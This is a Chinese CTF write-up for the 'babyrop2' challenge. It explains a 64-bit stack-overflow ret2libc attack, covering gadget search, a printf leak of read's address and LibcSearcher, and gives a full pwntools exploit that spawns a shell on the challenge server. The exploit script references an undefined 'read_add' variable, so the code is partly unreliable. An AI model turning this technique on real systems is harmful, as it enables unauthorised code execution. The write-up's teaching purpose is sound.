程序分析
- ida
解题思路
漏洞
- 本题存在栈溢出,但是不存在/bin/sh,因此需要泄露libc版本查找
- 本程序为64位程序,传参时前6个参数用寄存器rdi,rsi,rdx,rcx,r8,r9传递,其余参数才能通过栈传递
64位传参顺序
rdi->rsi->rdx->rcx->r8->r9
ROPgadget
- 需要寻找pop rdi,pop rsi,发现没有单独使用rsi的指令,但是我们可以利用含有rsi,r15的
ROPgadget --binary 'babyrop2 ' --only "pop|ret"
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
利用printf泄露函数地址
-
参数类型为printf(“%s”,address)
-
第一个参数我们利用程序自带的Welcome to the Pwn World again, %s字串,第二个参数选择打印read函数的真正地址来泄露lib利用printf来打印泄露的read的地址,需要给printf设置格式化字符,所以在题目中找到现成的%s地址,%s所在的地址是0x400770
fm_str = 0x400770
printf函数原型,format输出内容的格式(fm_str),[argument]输入的内容
int printf(const char *format, [argument]...)
payload1
payload1 = b'a'*0x28 + p64(rdi_1) + p64(format_1) + p64(rsi_1)+p64(read_got) + p64(0) + p64(printf_plt) + p64(main_1)
下面是对上述payload1的解释
-
*b’a’0x28:填充buf和rop
-
p64(rdi_1) + p64(format_1):该指令为"pop rdi;ret ",该指令将p64(format_1)赋值给寄存器rdi,为printf的第一个参数
-
p64(rsi_1)+p64(read_got) + p64(0) :pop rsi;pop r15;ret执行后将p64(read_got)赋值给寄存器rsi,printf的第二个参数,将p64(0)赋值给寄存器r15,无意义
-
p64(printf_plt):执行ret指令后,返回到printf在plt表中的地址,相当于执行printf函数
-
p64(main_1):printf函数的返回地址,得到read真正地址后返回程序开始,重新执行
接收read地址
read_1 = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
接收地址基本都是7个字节开头的,7f开头,补全8个字节
payload2
payload2 = b'a'*0x28 + p64(rdi_add) + p64(bin_add) +p64(sys_add)
cat flag
注意,这里不能直接ls得到flag,需要使用一些linux小命令
cd /home/babyrop2
cat flag
exp
from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
p = remote("node4.buuoj.cn",25684)
elf = ELF("'babyrop2' ")
main_1 = elf.sym['main']
printf_plt = elf.plt['printf']
read_got = elf.got['read']
rdi_1 = 0x400733
rsi_1 = 0x400731
format_1 = 0x400770
payload1 = b'a'*0x28 + p64(rdi_1) + p64(format_1) + p64(rsi_1)+p64(read_got) + p64(0) + p64(printf_plt) + p64(main_1)
p.recvuntil("name?")
p.sendline(payload1)
read_1 = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_1))
libc = LibcSearcher('read',read_1)
libc_base = read_add - libc.dump ('read')
sys_1 = libc_base + libc.dump('system')
bin_1 = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*0x28 + p64(rdi_1) + p64(bin_1) +p64(sys_1)
p.recvuntil("name?")
p.sendline(payload2)
p.interactive()